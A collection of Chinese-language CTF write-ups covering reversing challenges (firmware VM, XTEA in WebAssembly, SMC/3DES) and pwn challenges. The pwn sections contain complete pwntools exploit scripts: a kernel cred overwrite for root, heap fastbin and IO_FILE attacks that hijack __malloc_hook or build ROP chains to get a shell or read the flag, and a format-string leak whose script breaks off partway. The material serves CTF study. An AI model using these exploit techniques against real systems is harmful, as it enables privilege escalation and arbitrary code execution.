qwb2019-re

2019 re 强网先锋

一个简单的base64,签到题

img

解码即可:flag{mafakuailaiqiandaob}

2019 re 设备固件

题目给了一个完整的文件系统镜像和一个elf文件,根据readme中所述使用以下命令模拟运行:

1
sudo qemu-system-mipsel -M malta -hda openwrt-malta-le-root.ext4 -kernel openwrt-malta-le-vmlinux.elf -nographic -append "root=/dev/sda console=tty50" 

而后在/bin中找到目标二进制文件hello:

img

运行:

img

但是这个二进制文件在系统里面,没办法拿出来用ida查看,先想想办法把hello文件提取出来

采用在宿主机上挂载 ext4 镜像的方法:

1
2
3
# 1. 创建一个目录作为挂载点sudo mkdir /mnt/openwrt-root

# 2. 使用 loop 设备挂载 ext4 镜像文件sudo mount -o loop openwrt-malta-le-root.ext4 /mnt/openwrt-root

而后镜像文件的所有内容都暴露在 /mnt/openwrt-root 目录下

img

找到hello文件完成提取

img

首先使用file命令分析:

img

32位mips架构

放入ida内分析:

img

可以看到首先将输入的用户名放入v7的前40个字节中,密码放入后40个字节中,而后进入函数sub_400D48进行判断,该函数主要有两个部分,分别是函数sub_400C6C有用于验证用户名是否正确,函数sub_400CC4用于验证密码是否正确

img

先看函数sub_400C6C

img

很容易看出来该用户名就是直接确定了dd772

只有dd772才能令最终v1==0

而后看函数sub_400CC4:

img

主要逻辑在sub_400800,该函数主要是模拟虚拟机执行,有以下操作:

操作码 符号 num1 num2 行为
0x01 add 寄存器 寄存器 num1+=num2
0x02 sub 寄存器 寄存器 num1-=num2
0x03 cmp 寄存器 寄存器 ZF=(num1==num2?1:2)
0x04 jmp 立即数 - IP+=num1
0x05 mov 寄存器 寄存器 num1=num2
0x06 - 寄存器 - num1=IP
0x07 - 寄存器 - IP=num1
0x08 - 寄存器 立即数 num1=nmu2
0x09 ret - - 返回 0
0x0A load 寄存器 寄存器 num1=tran_pass[num2]
0x0B load 寄存器 寄存器 num1=const_ARR[num2]
0x0C xor 寄存器 寄存器 num1^=num2
0x0D imul 寄存器 寄存器 num1*=num2
0x0E DIV 寄存器 寄存器 num1/=num2
0x0F shl 寄存器 寄存器 num1<<=num2
0x10 shr 寄存器 寄存器 num1>>=num2
0xFF ret - - 返回 1

然后指令就是地址4110c0 所指向的内容:

img

即:

地址 数据 指令
004110c0 08 00 00 00 20 00 mov R0, 0x20
004110c6 08 00 01 00 00 00 mov R1, 0x00
004110cc 08 00 02 00 01 00 mov R2, 0x01
004110d2 03 00 01 00 00 00 cmp R1, R0
004110d8 04 01 16 00 00 00 jz +0x16
004110de 08 00 0b 00 00 00 mov RB, 0x00
004110e4 08 00 0c 00 00 00 mov RC, 0x00
004110ea 01 00 0c 00 0b 00 add RC, RB
004110f0 03 00 0b 00 01 00 cmp RB, R1
004110f6 01 00 0b 00 02 00 add RB, R2
004110fc 04 02 fc ff 00 00 jnz -0x04
00411102 08 00 03 00 08 00 mov R3, 0x08
00411108 08 00 04 00 06 00 mov R4, 0x06
0041110e 08 00 09 00 10 00 mov R9, 0x10
411114 0f 00 09 00 03 00 shl R9, R3
0041111a 08 00 0a 00 24 00 mov Ra, 0x24
411120 01 00 09 00 0a 00 add R9, Ra
411126 01 00 09 00 0c 00 add R9, RB
0041112c 0a 00 05 00 01 00 LOAD R5, R1 //_pass
411132 0d 00 05 00 09 00 imul R5, R9
411138 05 00 06 00 05 00 mov R6, R5
0041113e 10 00 06 00 04 00 shr R6, R4
411144 0b 00 07 00 01 00 LOAD R7, R1 //_const
0041114a 03 00 06 00 07 00 cmp R6, R7
411150 01 00 01 00 02 00 add R1, R2
411156 04 01 e9 ff 00 00 jz -0x17
0041115c 04 02 01 00 00 00 jnz +1
411162 ff 00 00 00 00 00 ret 1
411168 09 00 00 00 00 00 ret 0
0041116e ff 00 00 00 00 00 ret 1

最后推出算式const_ARR[i]=(((0x10<<8)+0x24+ (i) )*tran_pass[i])>>6

但是这种直接分析太麻烦,也可以使用动态调试(推荐使用)

很容易就能看出算法为const_ARR[i] = (input[i] * out) >> 6,其中out的初值为0x1024,out += 1+i

爆破一下password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
flagenc = [0x00000C5B, 0x00000CDD, 0x00000D1F, 0x000018C0, 0x000018C6, 0x00000C26, 0x00000E72, 0x00000DF7, 0x000019B1, 0x00000D41, 0x00000D08, 0x0000191C, 0x00000CD9, 0x00000EB1, 0x00000CEE, 0x00001A78, 0x00000D8B, 0x00000D99, 0x00000D64, 0x00000CED, 0x000019F8, 0x00000E61, 0x00001A7F, 0x00001AE7, 0x00000F26, 0x00001B34, 0x00001AD0, 0x00000D7C, 0x00000FC9, 0x00000E7E, 0x00001C0E, 0x00001BAE]
flag = ""

out = 0x1024

for i in range(len(flagenc)):
for j in range(33,127):
if(((j * out) >> 6) == flagenc[i]):
flag += chr(j)
print(flag)
out += (i + 1)

print(flag)
#134bb097e43b292f4431b6cd8db194db

所以用户名就是dd772,密码就是134bb097e43b292f4431b6cd8db194db

得到flag

img

2019 re Justre

A1BAAAAAAAAAAAAAAAAAAAAAAA

前8个A1BAAAAA为一组 xmm5中有4个

第二个8个,先判断是否为数字,不是的话判断是否为大写字母,是数字下面的标点以及大写字母的话v14=16*(该字符-7), 是大写字母下面的字符的话把v14=0,是数字前面的符号的话v14=16*该字符

可能是两个字节两个字节取,如果第二个是数字则将v10=v14+该数字,如果是大写字母v10=v14+该字符-55

然后还有很长的一段的运算两种情况都需要进行

AA 复制16份然后每八个一份放入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.rdata:00404340 xmmword_404340 xmmword 3000000020000000100000000h
.rdata:00404340 ; DATA XREF: sub_401610+151↑r
.rdata:00404350 xmmword_404350 xmmword 4000000040000000400000004h
.rdata:00404350 ; DATA XREF: sub_401610+190↑r
.rdata:00404360 xmmword_404360 xmmword 8000000080000000800000008h
.rdata:00404360 ; DATA XREF: sub_401610+1B8↑r
.rdata:00404370 xmmword_404370 xmmword 0C0000000C0000000C0000000Ch
.rdata:00404370 ; DATA XREF: sub_401610+1DA↑r
.rdata:00404380 xmmword_404380 xmmword 1010101010101010101010101010101h





.data:00405018 xmmword_405018 xmmword 3D5E1084FD0E0A2CE98FBCC77AB29357h
.data:00405018 ; DATA XREF: sub_401610+166↑r
.data:00405018 ; sub_401610+189↑w
.data:00405018 ; sub_401610:loc_401814↑r
.data:00405018 ; sub_401610+212↑w
.data:00405018 ; sub_401610:loc_401831↑r
.data:00405018 ; sub_401610+259↑o
.data:00405028 xmmword_405028 xmmword 3D4F7424ED150C28FB39F0A384C9FB26h
.data:00405028 ; DATA XREF: sub_401610+17B↑r
.data:00405028 ; sub_401610+1B1↑w
.data:00405038 xmmword_405038 xmmword 5715BAFE28EA503D065C0BEB3CCE6C2Ah
.data:00405038 ; DATA XREF: sub_401610+19B↑r
.data:00405038 ; sub_401610+1ED↑w
.data:00405048 xmmword_405048 xmmword 63184D41064DEFECAF152E2F3D4F842Bh

AA 先被扩展为AAAAAAAA 然后再被扩展为相同的四个整数,然后每个再*01010101

xmm4 = (AA*4)*01010101

xmm5 = A1BAAAAA*4

状态变量1 0x405018 更新:

xmm1=(xmm4 + 0x405018)

xmm2 = (xmm5 + 0x404340)

0x405018 = xmm2 ^ xmm1

状态变量2 0x405028更新:

xmm1 = (xmm4 + 0x405028)

xmm2 = (0x404340 + 0x404350 + xmm5)

0x405028 = xmm2 ^ xmm1

状态变量3 0x405038更新:

xmm1 = (xmm4 + 0x405038)

xmm2 = (0x404340 + 0x404360 + xmm5)

0x405038 = xmm2 ^ xmm1

状态变量4 0x405048更新:

xmm4 = xmm4 + 0x405048

xmm1 = (0x404340 + 0x404370 + xmm5)

0x405048 = xmm4 ^ xmm1

v2 = A1BAAAAA v10 = AA

v19=16

while(v19<24){

*( 0x405018 + v19 )= (v19 + v2)^ (16843009 * v10 + *( 0x405018 + v19 ));

++v19;

}

实际上就是input[i] = (flag1+i) ^ (flag2 + input[i])

img

但是最后比较的步骤只需要关注第一个32位的部分就行了,所以除状态一外都不需要分析,因为只有两个未知量,所以用三个式子就能爆破出来。

最后对比的字节为:

1
0x83EC8B55, 0xEC81F0E4, 0x00000278

所以爆破就行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <iostream>
using namespace std;

int main() {
int i0 = 0x7AB29357; int o0 = 0x83EC8B55;
int i1 = 0xE98FBCC7; int o1 = 0xEC81F0E4;
int i2 = 0xFD0E0A2C; int o2 = 0x00000278;

for (int j = -128; j != 128; j++) {
int flag = o0 ^ ((0x01010101 * j) + i0);
if (o1 == ((flag + 1) ^ (0x01010101 * j + i1))
&& o2 == ((flag + 2) ^ (0x01010101 * j + i2)))
{cout << flag << ' ' << j << endl;
printf("%X%X\n", flag, j);}
}

return 0;
}
// 前十个字符就是:1324223816

然后就是后16个字符,这里的检验函数4018A0用了SMC,需要解密一下,来到4018A0使用OD将其dump出来

用ida打开,即可查看逻辑

img

查看逻辑,这里sub_401250明显是des算法,调用三次,分别是加密、解密、加密,即3DES算法

img

到底是不是,找个网站解密试试就知道了,发现可以解出来:

img

最后放入程序验证,成功得到flag

img

flag{13242238160dcc509a6f75849b}

2019 re webAssemble

.wasm文件逆向管用套路:

1
2
~/tools/wasm2c  webassembly.wasm -o web.c
gcc -c web.c -o web.o

然后ida分析

img

main函数主要加密函数就这俩,f54有点复杂,先瞅瞅f15

img img

观察到魔数9E3779B9,然后循环了32次,应该是一个循环32次的XTEA算法

该算法被调用了4次,四次算法密钥均为0

那这样的话就找找后续的对比操作,找最后需对比的字符串

img

可以看到后面一堆赋值操作

是用加密后的每一位分别异或一个值,然后取低8位,最后和前面一次算出来的值迭代相加。

img

然后最后判断是否相等

那就假设每个式子的结果为0,那么所有式子就都成立,也就是说最后经算法加密后的值为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x4e,0x6e,0xc7,0xea,
0x8a,0x9d,0x70,0x89,//第1次xtea

0xeb,0xe2,0x45,0xd3,
0xb8,0x4a,0xc0,0x73,//第2次xtea

0xb0,0x4a,0x40,0x71,
0x37,0x34,0x88,0x42,//第3次xtea

0x32,0x88,0x80,0xd0,
0x89,0xdb,0xa1,0x1e,//第4次xtea

0x35,0x38,0x39,0x31,
0x33,0x7d//没有加密

先找个现成的算法解密一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdint.h>
#include <stdio.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
for (i=0; i < num_rounds; i++) {
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
sum += delta;
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
}
v[0]=v0; v[1]=v1;
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
for (i=0; i < num_rounds; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0]=v0; v[1]=v1;
}

int main(){
unsigned int key[4]={0,0,0,0};
unsigned char data[]={
0x4e,0x6e,0xc7,0xea,
0x8a,0x9d,0x70,0x89,//第1次xtea

0xeb,0xe2,0x45,0xd3,
0xb8,0x4a,0xc0,0x73,//第2次xtea

0xb0,0x4a,0x40,0x71,
0x37,0x34,0x88,0x42,//第3次xtea

0x32,0x88,0x80,0xd0,
0x89,0xdb,0xa1,0x1e,//第4次xtea

0x35,0x38,0x39,0x31,
0x33,0x7d//没有加密
};
for(int i=0;i<4;i++)
decipher(32,(unsigned int*)(data+i*8),key);
printf("%s",data);
}
//flag{38fd643cc2c5200cc769b31ae7e58913}

运行发现直接跑出来flag了:

img img img

并且验证成功

那就不需要再继续分析f54了,证明该函数和flag验证流程没关系

2019 re BoringCrypto

安卓native类型逆向,首先分析java中main函数,可知check函数使用的是jni的静态注册方法,因此应该比较容易找到,那么就找到native.so然后用ida打开:

img img

这个函数反汇编之后都有将近5000行,太复杂,看不太懂qaq

hack.lu 2019

image-20251122133227303

babykernel2

直接给了AAW和AAR

Each process has a struct called task_struct which is stored in kernel space, this structure contains a lot of information related to the process like scheduling information, memory descriptor(mm_struct) which has information about programs memory, parent process, linked list of child process, next task and more importantly it has a pointer to process privileges which is a structure named cred. So our task is to overwrite the identifiers( uid, gid, group id, fsuid, fsgid) to 0 which is nothing but a process with root privileges.

  1. Read current_task ptr address based on provided System.map
  2. Get cred* cred pointer
  3. Overwrite cred->fsuid and cred->fsguid
  4. Read /flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 ptype /o struct cred
/* offset | size */ type = struct cred {
/* 0 | 4 */ atomic_t usage;
/* 4 | 4 */ kuid_t uid;
/* 8 | 4 */ kgid_t gid;
/* 12 | 4 */ kuid_t suid;
/* 16 | 4 */ kgid_t sgid;
/* 20 | 4 */ kuid_t euid;
/* 24 | 4 */ kgid_t egid;
/* 28 | 4 */ kuid_t fsuid;
/* 32 | 4 */ kgid_t fsgid;
/* 36 | 4 */ unsigned int securebits;
/* 40 | 8 */ kernel_cap_t cap_inheritable;
/* 48 | 8 */ kernel_cap_t cap_permitted;
/* 56 | 8 */ kernel_cap_t cap_effective;
/* 64 | 8 */ kernel_cap_t cap_bset;
/* 72 | 8 */ kernel_cap_t cap_ambient;
/* 80 | 8 */ struct user_struct *user;
/* 88 | 8 */ struct user_namespace *user_ns;
/* 96 | 8 */ struct group_info *group_info;
/* 104 | 16 */ union {
/* 4 */ int non_rcu;
/* 16 */ struct callback_head {
/* 104 | 8 */ struct callback_head *next;
/* 112 | 8 */ void (*func)(struct callback_head *);

/* total size (bytes): 16 */
} rcu;

/* total size (bytes): 16 */
};

/* total size (bytes): 120 */
}

可以通过init_task也就是0号进程的前向task_list指针找到current_task,可以通过泄露comm进程名来确定

因为通过Ctrl+C在gdb中断下的是在Init的swapper,即0号进程,通过tasks指针来找到最后一个运行的进程

1
2
3
4
5
gef> p current_task.tasks
$18 = {
next = 0xffff888000028210,
prev = 0xffff888003375990
}

当然应该最简单的是通过current_task来,在运行的client_kernel.ko中下断,此时内核的current_task即为当前进程并查看cred如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
gef> p current_task
$32 = (struct task_struct *) 0xffff888003373480
gef> p $32.comm
$33 = "client_kernel_b"
gef> p $32.cred
$34 = (const struct cred *) 0xffff888003384700
gef> p *$34
$35 = {
usage = {
counter = 0x3
},
uid = {
val = 0x3e8
},
gid = {
val = 0x3e8
},
suid = {
val = 0x3e8
},
sgid = {
val = 0x3e8
},
euid = {
val = 0x3e8
},
egid = {
val = 0x3e8
},
fsuid = {
val = 0x3e8
},
fsgid = {
val = 0x3e8
},
securebits = 0x0,
cap_inheritable = {
cap = {[0x0] = 0x0,
[0x1] = 0x0}
},
cap_permitted = {
cap = {[0x0] = 0x0,
[0x1] = 0x0}
},
cap_effective = {
cap = {[0x0] = 0x0,
[0x1] = 0x0}
},
cap_bset = {
cap = {[0x0] = 0xffffffff,
[0x1] = 0x3f}
},
cap_ambient = {
cap = {[0x0] = 0x0,
[0x1] = 0x0}
},
user = 0xffff888003380000,
user_ns = 0xffffffff8183e5c0 <init_user_ns>,
group_info = 0xffff88800018d2c0,
{
non_rcu = 0x0,
rcu = {
next = 0x0,
func = 0x0
}
}
}

可见cred的数据结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gef> ptype struct cred
type = struct cred {
atomic_t usage;
kuid_t uid;
kgid_t gid;
kuid_t suid;
kgid_t sgid;
kuid_t euid;
kgid_t egid;
kuid_t fsuid;
kgid_t fsgid;
unsigned int securebits;
kernel_cap_t cap_inheritable;
kernel_cap_t cap_permitted;
kernel_cap_t cap_effective;
kernel_cap_t cap_bset;
kernel_cap_t cap_ambient;
struct user_struct *user;
struct user_namespace *user_ns;
struct group_info *group_info;
union {
int non_rcu;
struct callback_head rcu;
};
}
gef> ptype /o struct cred
/* offset | size */ type = struct cred {
/* 0 | 4 */ atomic_t usage;
/* 4 | 4 */ kuid_t uid;
/* 8 | 4 */ kgid_t gid;
/* 12 | 4 */ kuid_t suid;
/* 16 | 4 */ kgid_t sgid;
/* 20 | 4 */ kuid_t euid;
/* 24 | 4 */ kgid_t egid;
/* 28 | 4 */ kuid_t fsuid;
/* 32 | 4 */ kgid_t fsgid;

就根据offset从4byte-20bytes都更改为0,即可实现改进程的提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#-*- coding: utf-8 -*-
from pwn import *

r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y: p.sendlineafter(x,y)

context.log_level = 'debug'
# HOST,PORT = "babykernel2.forfuture.fluxfingers.net","1337"

# p = remote(HOST,PORT,timeout=10)
HOST,PORT = "127.0.0.1", 8888
p = remote(HOST, PORT)

def read(addr):
sl("> ",str(1))
sl("> \r\r\n",hex(addr))
r("level is: ")
value = int(p.recv(16),16)
return value

def write(addr,value):
sl("> ",str(2))
sl("> \r\r\n",hex(addr))
sl("> \r\r\n",hex(value))

init_task = 0xffffffff8181b4c0
offset = 0x218
# init_task.tasks.prev
task = read(init_task+offset)-0x210
# task.cred
cred = read(task+0x400)
write(cred,0)
write(cred+0x8,0)
write(cred+0x10,0)
write(cred+0x18,0)
write(cred+0x20,0)
p.sendlineafter("> ",str(3))
# read flag
p.sendlineafter("> ",str(4))
p.sendline("./flag")
p.interactive()
# flag{nicely_done_this_is_how_a_privesc_can_also_go}

2019 巅峰极客 线上赛

snote

image-20251122113739027

泄露通过修改Topchunk的size,得到unsortedbin,进而得到libc

之后用UAF Fastbin attack,修改__malloc_hook为one_gadget即可Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!python
#-*- coding: utf-8 -*-
#@Date: 2019-10-19 11:02:57
from pwn import *

context.terminal = ['tmux','sp','-h','-l','120']
context.log_level = 'debug'
HOST,PORT = "55fca716.gamectf.com",37009
p = remote(HOST,PORT)

# p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ru = lambda x: p.recvuntil(x, drop = True,timeout=1)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

def add(size,cnt):
sa("choice > ",str(1).ljust(0x8,'\0'))
sa("Size > ",str(size).ljust(0x8,'\0'))
sa("Content > \n",cnt)

def show():
sa("choice > ",str(2).ljust(0x8,'\0'))

def de():
sa("choice > ",str(3).ljust(0x8,'\0'))

def edit(size,cnt):
sa("choice > ",str(4).ljust(0x8,'\0'))
sa("Size > ",str(size).ljust(0x8,'\0'))
sa("Content > \n",cnt)

def z():
gdb.attach(p, gdbscript='''
finish
ni 9
b *$pc
b *__libc_malloc
''')

sa("name?\n",'\x00'*0x1f)

add(0xf08,'\n')
add(0x18,'\n')
edit(0x20,'\0'*0x18+p64(0xd1))
add(0x108,'\n')
add(0x68,'\n')
show()

libc.address = u64(p.recv(8))-0x3c4c0a
log.info("libc.address:"+hex(libc.address))
__malloc_hook = libc.sym['__malloc_hook']
log.info("__malloc_hook:"+hex(__malloc_hook))
one = libc.address+0xf02a4
log.info("one:"+hex(one))

de()
edit(0x8,p64(__malloc_hook-0x23))
add(0x68,'\n')
add(0x68,'\x00'*0x13+p64(one))

sa("choice > ",str(1).ljust(0x8,'\0'))
sa("Size > ",str(0x18).ljust(0x8,'\0'))

p.interactive()

pwn

  • 通过多个unsorted bin泄露libc和heap

  • 构造unsortedBin attack 修改global_max_fast

  • Fastbin attack到Stream的IO_FILE结构中,劫持_IO_file_jumps

  • 通过setcontext的gadgets做ROP实现ORW,即可打印flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
#!python
#-*- coding: utf-8 -*-
#@Date: 2019-10-19 11:20:07
from pwn import *

context.log_level = 'debug'

HOST,PORT = "a139cb3d.gamectf.com","15189"
p = remote(HOST,PORT,timeout=10)

# p = process("./pwn")

libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

ru = lambda x: p.recvuntil(x, drop = True,timeout=1)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

def add(idx,size,cnt):
sla("Choice:",str(1))
sla("index:\n",str(idx))
sla("size:\n",str(size))
sa("context:\n",cnt)

def de(idx):
sla("Choice:",str(2))
sla("index:\n",str(idx))

def show(idx):
sla("Choice:",str(3))
sla("index:\n",str(idx))

def edit(idx):
sla("Choice:",str(4))
sla("index:\n",str(idx))
ru("Done!\n")

# leaking libc and heap

add(0,0x88,'0'*0x88)
add(1,0x88,'1'*0x88)
add(2,0xe8,'2'*0xe8)
add(3,0x88,'3'*0x88)
add(4,0x88,'4'*0x88)
add(5,0x88,'flag\n')
de(0)
show(0)
ru("note[0]: ")
libc.address = u64(p.recv(6).ljust(0x8,'\0'))-0x3c4b78
log.info("libc.address:"+hex(libc.address))
_IO_list_all = libc.sym['_IO_list_all']
log.info("_IO_list_all:"+hex(_IO_list_all))
open = libc.sym['open']
log.info("open:"+hex(open))
read = libc.sym['read']
log.info("read:"+hex(read))
write= libc.sym['write']
log.info("write:"+hex(write))

de(4)
add(6,0x88,'a'*8+'\n')
show(6)
ru("a"*8)
heap = u64(p.recv(6).ljust(0x8,'\0'))-0x4d0
log.info("heap:"+hex(heap))

# unsorted bin attack

de(3)
de(0)
add(7,0x88,2*p64(0)+p64(heap+0x248)+p64(heap+0x250)+p64(heap+0x240)+'\n')
add(8,0x118,'\0'*0x80+p64(0x290)+p64(0x90)+'\n')
de(4)
de(1)

payload = '\0'*0x78+p64(0x91)
payload += p64(0)+p64(libc.address+0x3c67e8)

# fastbin attack

add(9,0x318,payload+'\n')
add(10,0x88,'\n')
de(2)
de(9)

prdi_ret = libc.address+0x21102
prsi_ret = libc.address+0x202e8
pprdx_ret = libc.address+0x101ffc

# rop

payload = 7*p64(0)+p64(prdi_ret) #pop rdi;ret
payload += p64(heap+0x570)+p64(prsi_ret)+p64(0)
payload += p64(open)+p64(prdi_ret)+p64(4)
payload += p64(prsi_ret)+p64(heap+0x1000)+p64(pprdx_ret)
payload = payload.ljust(0x88,'\0')
payload += p64(0x91)+p64(0)+p64(read)+p64(prdi_ret)+p64(1)
payload += p64(prsi_ret)+p64(heap+0x1000)+p64(pprdx_ret)+p64(0x91)+p64(0)
payload += p64(write)
payload += '\0'*0x28
payload += p64(0xf1)+p64(heap+0x9f)

add(11,0x318,payload+'\n')

fake = 2*p64(0)
fake += 0x1b*p64(libc.address+0x47b75)
add(12,0xe8,fake)

payload1= "\x00"+p64(heap+0x100)+p64(libc.address+0xc96a6)+5*p64(0)+p64(heap+0x360)
payload1+= 9*p64(0)+p64(libc.address+0x353aa)#add rsp,0x38;ret
add(13,0xe8,payload1+'\n') #add rsp,0x38;ret

# hijack file struct

edit(0)

p.interactive()

2019 FlareOnctf

image-20251122134032818

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 private void FireButton_Click(object **sender**, EventArgs **e**)
{
if (this.codeTextBox.Text == "RAINBOW")
{
this.fireButton.Visible = false;
this.codeTextBox.Visible = false;
this.armingCodeLabel.Visible = false;
this.invalidWeaponLabel.Visible = false;
this.WeaponCode = this.codeTextBox.Text;
this.victoryAnimationTimer.Start();
return;
}
this.invalidWeaponLabel.Visible = true;
this.codeTextBox.Text = "";
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
 private bool isValidWeaponCode(string **s**)
{
char[] array = **s**.ToCharArray();
int length = **s**.Length;
for (int i = 0; i < length; i++)
{
char[] expr_19_cp_0 = array;
int expr_19_cp_1 = i;
expr_19_cp_0[expr_19_cp_1] ^= 'A';
}
return array.*SequenceEqual*(new char[]
{
'\u0003',
' ',
'&',
'$',
'-',
'\u001e',
'\u0002',
' ',
'/',
'/',
'.',
'/'
});
}
  private bool isValidWeaponCode(string **s**)
 {
   char[] array = **s**.ToCharArray();
   int length = **s**.Length;
   for (int i = 0; i < length; i++)
   {
     char[] expr_19_cp_0 = array;
     int expr_19_cp_1 = i;
     expr_19_cp_0[expr_19_cp_1] ^= 'A';
   }
   return array.*SequenceEqual*(new char[]
   {
     '\u0003',
     ' ',
     '&',
     '$',
     '-',
     '\u001e',
     '\u0002',
     ' ',
     '/',
     '/',
     '.',
     '/'
   });
 }

Kitteh_save_galixy@flare-on.com

1
2
3
4
5
6
7
8
9
10
11
12
int __stdcall start(int a1, int a2, int a3, int a4)
{
unsigned int v4; // eax
char Text[128]; // [esp+0h] [ebp-84h]
unsigned int v7; // [esp+80h] [ebp-4h]

v4 = sub_D21160(Text, byte_D22008, 0x3Cu);
v7 = v4;
Text[v4] = 0;
MessageBoxA(0, Text, Caption, 0);
return 0;
}

UTF-8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl sub_D21000(_BYTE *a1, char *a2)
{
signed int v3; // [esp+0h] [ebp-8h]
int v4; // [esp+4h] [ebp-4h]

if ( (signed int)(unsigned __int8)*a2 >> 3 == 30 )
{
v4 = a2[3] & 0x3F | ((a2[2] & 0x3F) << 6) | ((a2[1] & 0x3F) << 12) | ((*a2 & 7) << 18);
v3 = 4;
}
else if ( (signed int)(unsigned __int8)*a2 >> 4 == 14 )
{
v4 = a2[2] & 0x3F | ((a2[1] & 0x3F) << 6) | ((*a2 & 0xF) << 12);
v3 = 3;
}
else if ( (signed int)(unsigned __int8)*a2 >> 5 == 6 )
{
v4 = a2[1] & 0x3F | ((*a2 & 0x1F) << 6);
v3 = 2;
}
else
{
LOBYTE(v4) = *a2;
v3 = 1;
}
*a1 = v4;
return v3;
}
mark

2019 看雪CTF Q2

image-20251122113739027

1-神秘来信 ✅

触发success的分支在异常处理中,所以需要触发异常处理
在汇编中可以考虑另esi=0,从而

1
div esi

除0操作,进而触发异常,从而推算满足条件的字符串为

前三位 相加 95 后三位指定值353

3-金字塔的诅咒 ✅

典型的格式化字符串的洞,但是格式化串在.bss上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
do
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 1 )
break;
printf("What do tou want to say:");
read_input(&echo, 24);
printf((const char *)&echo);
puts((const char *)&unk_A97);
}
}

format string 一向有ebp chain的方式,本题也不例外,虽然32bit程序的函数栈帧创建方式变为:

1
2
3
4
.text:00000886                 lea     ecx, [esp+4]

.text:0000098B lea esp, [ecx-4]
.text:0000098E retn

但在栈上仍旧留有环境变量的栈地址,进而将其可以作为跳转修改返回地址为one_gadgets,最后Getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *

context.binary = "./format"
#context.log_level = 'debug'
context.terminal = ['tmux','sp','-h','-l','120']

ip = "152.136.18.34"
port = 9999

#io = process('./format',env={'LD_PRELOAD':"./libc-2.23.so"})
io = remote(ip,port)
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc =ELF("./libc-2.23.so")
#print io.libs()
#proc_base = io.libs()['/mnt/hgfs/ReIt/3/CurseofPyramid/format']
#log.info('proc_base:'+hex(proc_base))
#libc_base = io.libs()['/lib/i386-linux-gnu/libc-2.23.so']
#log.info('libc_base:'+hex(libc_base))

def input(content):
io.recvuntil('Choice:')
io.sendline(str(1))
io.recvuntil('What do tou want to say:')
io.send(content)

def quit():
io.recvuntil('Choice:')
io.sendline(str(2))

# leaking
input("%3$p %11$p %5$p ")

proc = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x8f3
log.info("proc:"+hex(proc))
libc.address = int(io.recvuntil(' ').ljust(0x8,'\x00'),16)-0x18637
log.info("libc:"+hex(libc.address))

# one = libc.address+0x3a819
system = libc.sym['system']
log.info('system:'+hex(system))
binsh = next(libc.search('/bin/sh'))
log.info("binsh:"+hex(binsh))

